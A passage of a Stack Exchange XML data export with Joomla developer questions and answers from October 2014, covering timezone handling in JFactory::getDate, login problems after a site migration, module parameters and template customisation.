  <row Id="4759" PostTypeId="2" ParentId="4625" CreationDate="2014-10-13T16:49:04.503" Score="2" Body="&lt;p&gt;As per @johanpw's comment, I used the linked module, forked it, and brought it up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the module can accept multiple tags, filter by content type, as well as more options for ordering / filtering etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check it out at &lt;a href=&quot;https://github.com/muckypuddle/joomla-tags-selected&quot; rel=&quot;nofollow&quot;&gt;our Github page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-10-13T16:49:04.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4760" PostTypeId="1" AcceptedAnswerId="4763" CreationDate="2014-10-13T18:17:58.590" Score="3" ViewCount="429" Body="&lt;p&gt;My site has configured multilanguage, i develop now a small component and need physical path of my component, and if i use &lt;em&gt;JPATH_COMPONENT_ADMINISTRATOR&lt;/em&gt; then i get still &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://example.com.com/LANGUAGE_STRING/administrator/components/com_mycomponent&quot; rel=&quot;nofollow&quot;&gt;http://example.com.com/LANGUAGE_STRING/administrator/components/com_mycomponent&lt;/a&gt;...&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get really physical path? I tested also most of &lt;a href=&quot;http://docs.joomla.org/Constants&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; constants, but no one works correctly, i need it exactly for external css file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addStyleSheet(JPATH_COMPONENT_ADMINISTRATOR . '/assets/css/component_style.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1952" LastEditorUserId="159" LastEditDate="2014-10-13T20:12:45.763" LastActivityDate="2014-10-13T20:21:16.320" Title="Load css file using absolute path for my component?" Tags="|jdocument|jhtml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4761" PostTypeId="1" AcceptedAnswerId="4776" CreationDate="2014-10-13T18:51:45.897" Score="6" ViewCount="3003" Body="&lt;p&gt;According to the documentation &lt;a href=&quot;http://docs.joomla.org/JFactory/getDate&quot;&gt;JFactory/getDate&lt;/a&gt; &lt;code&gt;$tzOffset&lt;/code&gt; default value is &lt;code&gt;0&lt;/code&gt;. However, the following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date_default_offset = JFactory::getDate('now');&#xA;echo $date_default_offset-&amp;gt;toRFC822(true);&#xA;echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;$date_zero_offset = JFactory::getDate('now', 0);&#xA;echo $date_zero_offset-&amp;gt;toRFC822(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... gives different outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mon, 13 Oct 2014 18:31:37 +0000&#xA;Mon, 13 Oct 2014 19:31:41 +0100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shouldn't both dates be the same? What else should I take into account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual date is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo date(&quot;r&quot;); // Mon, 13 Oct 2014 20:40:33 +0200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's right because the server is in Spain (+1 GMT and +1 Daylight Saving Time in Summer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem arised whe trying to adjust a module to take into account the current time in Canary Islands, that should be &lt;code&gt;Mon, 13 Oct 2014 19:31:41 +0100&lt;/code&gt;according to the given example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla! 2.5.27, the Server Time Zone is set to Canary (GMT+0).&lt;/p&gt;&#xA;" OwnerUserId="1991" LastActivityDate="2020-01-15T22:30:29.040" Title="Joomla! JFactory::getDate wrong" Tags="|php|joomla-2.5|joomla-api|date|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4762" PostTypeId="2" ParentId="4761" CreationDate="2014-10-13T19:03:01.627" Score="3" Body="&lt;p&gt;It might be an idea to get the offset from your Global Config like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date = JFactory::getDate($input='now', 'UTC');&#xA;$tz   = JFactory::getConfig()-&amp;gt;getValue('config.offset');&#xA;$date-&amp;gt;setOffset($tz);&#xA;&#xA;echo $date-&amp;gt;toFormat();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make life a little easier and have less code, I would suggest using &lt;code&gt;JHtml::date&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::date($input = 'now', 'm/d/Y', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-13T19:03:01.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4763" PostTypeId="2" ParentId="4760" CreationDate="2014-10-13T20:11:29.307" Score="7" Body="&lt;p&gt;To load CSS and Javascript files, you want to use &lt;code&gt;JUri::base()&lt;/code&gt; instead of JPATH_COMPONENT_ADMINISTRATOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also have a look at a more advanced loading mechanism, JHtml. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot;&gt;Adding JavaScript and CSS to the page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-10-13T20:21:16.320" LastActivityDate="2014-10-13T20:21:16.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4764" PostTypeId="1" CreationDate="2014-10-13T21:37:54.097" Score="7" ViewCount="8875" Body="&lt;p&gt;I moved a Joomla 1.5 site to another hosting provider under different domain. Everything works fine, all pages load fine, but I can't log into administrator panel, not the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The username/password is OK, because I get an error saying my password is incorrect if I type in gibberish, but when I type in correct credentials, nothing happens on the backend login, I just get redirected back to the login form. On the front-end, when I try to log in, I get redirected to the homepage with a message &quot;You have to log in first&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All auth plugins are enabled in the database, I've checked as it seems to be a common error, and I've updated my configuration.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the site might have issues with old sessions, so I deleted all records in the jos_session table, which gave me an info message on the backend login &quot;Your session has expired, please log in again&quot;, but after trying to log in again, I simply get redirected to the login page, with no message, like before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea where to look next? It smells like session handling issue, but session handling in the database seems to work fine, the table got populated again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2020-11-16T08:14:22.077" Title="Cannot log in to Joomla (front and back) after site move" Tags="|administrator|session|joomla-1.5|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4765" PostTypeId="2" ParentId="4764" CreationDate="2014-10-14T00:19:36.253" Score="4" Body="&lt;p&gt;It's hard to say exactly what's wrong, but here are some things you can try (please backup your &lt;code&gt;configuration.php&lt;/code&gt; and &lt;code&gt;.htaccess&lt;/code&gt; files before making any changes).&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Although you say your username/password is correct, try creating a new super-admin user by following &lt;a href=&quot;http://docs.joomla.org/J1.5:How_do_you_recover_or_reset_your_admin_password%3F#Add_a_New_Super_Administrator_User&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guide&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What version of PHP/mySQL are your new server using? Is it the same as the old host? Is it &lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;compatible with Joomla 1.5&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable error reporting by setting &lt;code&gt;var $error_reporting = '32767';&lt;/code&gt; in &lt;code&gt;configuration.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable debug by setting &lt;code&gt;var $debug = '0';&lt;/code&gt; in your &lt;code&gt;configuration.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check your &lt;code&gt;.htaccess&lt;/code&gt; file (if it exists, rename it to &lt;code&gt;.htaccess.old&lt;/code&gt; or something). If not, copy.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the FTP layer in &lt;code&gt;configuration.php&lt;/code&gt; by adding details from a valid FTP account on your server. In some cases, erroneous server configuration might limit access to certain files.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var $ftp_host = '127.0.0.1'; //This is the default localhost address reference. Your Web host may have set this differently. &#xA;var $ftp_port = '21'; // Port 21 is the default FTP port on most operating systems, but may have been configured differently by your host provider.&#xA;var $ftp_user = 'your ftp username';&#xA;var $ftp_pass = 'your ftp password';&#xA;var $ftp_root = 'the absolute path of the directory that the ftp client should open within';&#xA;$ftp_enable = '1'; Set to '1' to enable the FTP layer facility.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure all files were completely transferred. If possible, repeat the transfer using &lt;a href=&quot;http://akeebabackup.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you're running the latest version of Joomla 1.5. Unless you've applied core hacks or edited the default template, you can download the &lt;a href=&quot;http://www.joomla.org/announcements/release-news/5419-joomla-1526-released.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;latest version&lt;/a&gt; and unzip in to your Joomla directory, overwriting any existing files.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your database user has all &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=621&amp;amp;t=612867&quot; rel=&quot;nofollow noreferrer&quot;&gt;required permission&lt;/a&gt; to run Joomla.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;SELECT, INSERT, UPDATE, DELETE are indeed required for normal usage.&#xA;If you want to install new components (which need to create new&#xA;tables) you will also need CREATE and DROP and maybe ALTER (for&#xA;components that need to update their old tables when upgrading).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;These are just a few ideas from the top of my head. #2 &amp;amp; #3 might provide important information regarding any error.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="12352" LastEditDate="2020-11-16T08:13:08.500" LastActivityDate="2020-11-16T08:13:08.500" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4766" PostTypeId="2" ParentId="4756" CreationDate="2014-10-14T01:40:01.393" Score="10" Body="&lt;p&gt;Found the issue in my own custom component...ugh. I couldn't find the offending code because I was looking for &lt;code&gt;JHtmlBehavior::mootools&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the offending code was this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.mootools');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing it to this fixes the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="83" LastActivityDate="2014-10-14T01:40:01.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4767" PostTypeId="2" ParentId="4756" CreationDate="2014-10-14T01:43:30.133" Score="2" Body="&lt;p&gt;This is a PHP error resulting in Joomla throwing an error, so, not a Javascript error and not something to be fixed by adding more PHP. As you suspected you need to find the source of the errant PHP call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing to do is turn up your error reporting to &quot;Development&quot; and see that gives you any new information, if there is no new information that helps you track down the source of the error then it becomes the manual slice and dice approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try swapping to a built-in template briefly and seeing if the problem goes away — if it does it's either the template or a module that is no longer called because it's assigned position doesn't exist in the default template you swapped to. If it's not the template you can track down the modules pretty quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if that doesn't help, use the 50% method to narrow down quickly which group of components, modules or plugins are the source of the problem.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-10-14T01:43:30.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4769" PostTypeId="2" ParentId="4764" CreationDate="2014-10-14T08:52:16.617" Score="2" Body="&lt;p&gt;You may have a redirection conflict where the www version of the administrator login is redirecting to the non-www version of the website or vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try logging in to the www version of the website and the non-www version of the website to see if there is any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check for any redirections in the .htaccess file and ensure that the $live_site parameter (if one is set) is set to the corresponding www or non-www version of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try temporarily replacing the contents of .htaccess with htaccess.txt (assuming you have .htaccess enabled) to reset this file to the default and check if there is an issue with your .htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-10-14T08:52:16.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4770" PostTypeId="1" CreationDate="2014-10-14T09:13:34.110" Score="1" ViewCount="1362" Body="&lt;p&gt;When I call my custom module from the index.php of my template, the $params variable in the modules.php, with my module settings from the backend, stays empty. So I cannot access the module parameters. Here is the module activation of my index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_custom_module','CustomModule');&#xA;$attribs['layout'] = 'startpage';&#xA;echo JModuleHelper::renderModule($module, $attribs);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The module gets loaded, but I cannot access my parameters from the backend settings. Whats wrong here? &lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2014-10-14T09:26:11.167" Title="Joomla custom module $params stays empty" Tags="|joomla-3.x|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4771" PostTypeId="2" ParentId="4770" CreationDate="2014-10-14T09:26:11.167" Score="1" Body="&lt;p&gt;To get an object for the parameters of a module, you will need to use &lt;code&gt;JRegistry&lt;/code&gt;. Have a look at the following example based on your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_custom_module','CustomModule');&#xA;$attribs['layout'] = 'startpage';&#xA;echo JModuleHelper::renderModule($module, $attribs);&#xA;&#xA;// Get params and output&#xA;$params = new JRegistry($module-&amp;gt;params);  &#xA;echo $param['param_name'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will of course need to change &lt;code&gt;param_name&lt;/code&gt; to the name of your parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-14T09:26:11.167" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="4772" PostTypeId="1" AcceptedAnswerId="5531" CreationDate="2014-10-14T09:44:27.873" Score="5" ViewCount="370" Body="&lt;p&gt;Which Joomla Platform / CMS class should I extend in order to make my own custom JDOC:include tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have custom JDOC tags like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;JDOC:include type=&quot;scripts&quot; /&amp;gt;&#xA;&amp;lt;JDOC:include type=&quot;scripts-body&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a bunch of other types.&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="126" LastEditDate="2015-12-04T20:03:43.787" LastActivityDate="2015-12-04T20:04:54.823" Title="Joomla templating custom JDOC statements" Tags="|templates|template-framework|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4773" PostTypeId="2" ParentId="4772" CreationDate="2014-10-14T09:57:32.153" Score="1" Body="&lt;p&gt;&lt;code&gt;jdoc:include&lt;/code&gt; comes from the &lt;code&gt;_parseTemplate()&lt;/code&gt; function, from the &lt;code&gt;JDocumentHTML&lt;/code&gt; class, from the following file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libraries\joomla\document\html\html.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-14T09:57:32.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4774" PostTypeId="1" CreationDate="2014-10-14T10:54:20.783" Score="1" ViewCount="1395" Body="&lt;p&gt;It is possible to join 2 databases at the same time in a single query?&#xA;For example: I want to see how many users I have on my server and how many users I have on an external server, all in a single SQL query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been testing the use of union and JDatabase:&#xA;&lt;a href=&quot;http://docs.joomla.org/Using_the_union_methods_in_database_queries&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Using_the_union_methods_in_database_queries&lt;/a&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/How_to_connect_to_an_external_database&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/How_to_connect_to_an_external_database&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;// Create a new query object.&#xA;$db1 = ExternalDataBase::getDbo();&#xA;$db  = JFactory::getDBO();&#xA;&#xA;$query1 = $db1-&gt;getQuery(true);&#xA;$query1&#xA;   -&gt;select('COUNT(id) AS users_number')&#xA;   -&gt;from('#__users');&#xA;&#xA;$query = $db-&gt;getQuery(true);&#xA;$query&#xA;   -&gt;select('COUNT(id) AS users_number')&#xA;   -&gt;from('#__users')&#xA;   -&gt;union($query1);&#xA;&#xA;$usersNumber = $db-&gt;setQuery($query)-&gt;loadObjectList();&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second query should select the user from the external database does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have an idea how to solve this problem, thanks.&lt;/p&gt;&#xA;" OwnerUserId="2028" LastActivityDate="2014-10-14T11:39:40.377" Title="I can load data from Joomla database and external database?" Tags="|php|mysql|database|jdatabase|phpmyadmin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4775" PostTypeId="2" ParentId="4774" CreationDate="2014-10-14T11:39:40.377" Score="2" Body="&lt;p&gt;Query object is created from a database connection. It cannot manage two connected databases in a single query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve the requirement, it is better if you enable the acces at MySQL level. If the two databases are local, you can just a &lt;strong&gt;ssign permissions to access the second database&lt;/strong&gt; to your database user. In this way, the multi-database query is solved efficiently by MySQL server.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-10-14T11:39:40.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4776" PostTypeId="2" ParentId="4761" CreationDate="2014-10-14T11:44:21.670" Score="4" Body="&lt;p&gt;Open the file &lt;code&gt;/libraries/joomla/factory.php&lt;/code&gt; and search for &lt;code&gt;getDate()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getDate($time = 'now', $tzOffset = null)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default value of time zone offset (&lt;code&gt;$tzOffset&lt;/code&gt;) is &lt;code&gt;null&lt;/code&gt; and not &lt;code&gt;0&lt;/code&gt;. It may be due to a mistake in &lt;a href=&quot;http://docs.joomla.org/JFactory/getDate&quot; rel=&quot;nofollow&quot; title=&quot;JFactory::getDate()&quot;&gt;Joomla documentation&lt;/a&gt; or it's for versions older than 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla 3, &lt;code&gt;$date_zero_offset = JFactory::getDate('now', 0);&lt;/code&gt; raises an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DateTime::__construct() expects parameter 2 to be DateTimeZone, integer given &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So for Canary Islands, you can use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date_zero_offset = JFactory::getDate('now', 'Atlantic/Canary');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-10-14T13:19:06.867" LastActivityDate="2014-10-14T13:19:06.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4777" PostTypeId="2" ParentId="4764" CreationDate="2014-10-14T11:57:01.757" Score="2" Body="&lt;p&gt;If you've tried all of the above and you've had no joy.  Here's a suggestion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Login into cPanel.  When you get its dashboard, locate the Database section in your cPanel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Database section located the PHPMyAdmin icon. Click the PHPMyAdmin icon which takes you to PHPMyAdmin interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the left hand column, click the database name associated with your Joomla website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will bring up all the Joomla database table names in right hand side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locate the table XX_users, Where XX_ is the table prefix you've used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you can see XX_users, locate your Admin user from among the user records visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've located the Admin user, at the extreme right hand side, you will see a check box, Select the check box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on the pencil icon or the link Edit. The Admin user record will open in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locate the password data entry field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete its contents using the backspace key OR Select the contents and hit the delete key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next key in the new password that you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: ON the immediate left hand side of the data entry field there is a Drop Down List Box. Click on the DDLB and select MD5 from the list of choices available.  This is very important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click GO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it.  You are done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now login to Joomla using the new password and everything should work just fine.&lt;/p&gt;&#xA;" OwnerUserId="2006" LastActivityDate="2014-10-14T11:57:01.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4778" PostTypeId="2" ParentId="4752" CreationDate="2014-10-14T12:10:48.557" Score="-2" Body="&lt;p&gt;Here's my two cents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 2.5.X is no longer supported.  This means that security issues and other such vital stuff will no longer be addressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Joomla is in the Opensource domain, every one knows its structure and the assets that Joomla uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, whenever a security hole is identified it needs to be plugged immediately. which in the case of Joomla 2.5.X won't happen,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over time the Joomla sites built on version J2.5.X will becomes very vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice upgrade to Joomla 3.X.X as soon as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is easier said than done.  Do be careful when migrating Users from J2.5.X to J3.X.X.  While the talk is that is seamless that's regretfully not true.  The xx_user table structure in J3.X.X has changed, so you will have to manually export your J2.5.X User data, edit the data carefully to map to the J3.X.X and then import the user table data in the Joomla 3.X.X installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is not rocket science, its tedious and needs to be carefully checked and cross checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, make a list of all the plugins you've used on the J2.5.X site and figure out which are compatible with J3.X.X which are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are going to have to find equivalent plugins for those that are not compatible and then figure out how they have to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: Please make really sure that you make a complete backup, folders, files, and database, before attempting an upgrade just in case.  Joomla can be quite cussed at times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the very best. &lt;/p&gt;&#xA;" OwnerUserId="2006" LastActivityDate="2014-10-14T12:10:48.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4780" PostTypeId="1" AcceptedAnswerId="4782" CreationDate="2014-10-14T12:27:34.997" Score="-3" ViewCount="53" Body="&lt;p&gt;Please visit this link : &lt;a href=&quot;http://naadiastrology.info/&quot; rel=&quot;nofollow&quot;&gt;http://naadiastrology.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Bottom you can see &quot;Contact address&quot;, on left of that there is a &quot;fingerprints image&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to change the &quot;fingerprint&quot; image?&lt;/p&gt;&#xA;" OwnerUserId="1993" LastEditorUserId="126" LastEditDate="2016-01-22T00:31:18.367" LastActivityDate="2016-01-22T00:31:18.367" Title="Change the image in Joomla site" Tags="|joomla-2.5|administration|basics|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4781" PostTypeId="2" ParentId="4780" CreationDate="2014-10-14T12:32:04.147" Score="1" Body="&lt;p&gt;It looks like this image is in a Joomla &lt;strong&gt;Module&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla 2.5:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to the &lt;a href=&quot;http://naadiastrology.info/administrator/&quot; rel=&quot;nofollow&quot;&gt;administrator area&lt;/a&gt; of your site&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Module Manager&lt;/strong&gt; from the main menu&lt;/li&gt;&#xA;&lt;li&gt;Look for a module in position &lt;em&gt;bottom-section&lt;/em&gt; or similar - it'll probably be a &lt;em&gt;Custom HTML&lt;/em&gt; module&lt;/li&gt;&#xA;&lt;li&gt;In the HTML editor, replace the image.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-10-14T12:32:04.147" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4782" PostTypeId="2" ParentId="4780" CreationDate="2014-10-14T12:32:18.910" Score="1" Body="&lt;p&gt;I don't know the name of the module, but it's definitely a custom one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the Module Manager in the Joomla backend, and search for custom modules or module that belong to the &lt;strong&gt;bottom-section&lt;/strong&gt; position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the correct one and remove the image from the textarea&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-14T12:32:18.910" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4783" PostTypeId="1" AcceptedAnswerId="4786" CreationDate="2014-10-14T13:40:33.493" Score="-2" ViewCount="924" Body="&lt;p&gt;I am new to Joomla.&#xA;Please visit this link : &lt;a href=&quot;http://naadiastrology.info/index.php/contact-us&quot; rel=&quot;nofollow&quot;&gt;http://naadiastrology.info/index.php/contact-us&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to edit the contact-us page?&lt;/p&gt;&#xA;" OwnerUserId="1993" LastEditorUserId="126" LastEditDate="2016-01-22T00:32:18.413" LastActivityDate="2016-01-22T00:32:18.413" Title="Where to change the contact us page in Joomla" Tags="|joomla-2.5|basics|contact-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4784" PostTypeId="1" AcceptedAnswerId="4810" CreationDate="2014-10-14T13:42:03.130" Score="2" ViewCount="190" Body="&lt;p&gt;I have a plugin that has to pre-process the description of a category based on it's params before it displays all the subcategories that it contains.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For articles (context = &lt;code&gt;com_content.article&lt;/code&gt;), the plugin &lt;code&gt;onContentPrepare&lt;/code&gt; event passes &lt;code&gt;$article&lt;/code&gt; and &lt;code&gt;$params&lt;/code&gt; giving everything one would need, but when the context is &lt;code&gt;com_content.category&lt;/code&gt;, &lt;code&gt;$params&lt;/code&gt; is empty, and &lt;code&gt;$article&lt;/code&gt; only has &lt;code&gt;$article-&amp;gt;text&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the category of interest is in the query string, but is there a better way to find category info, etc. that has already been retrieved along the 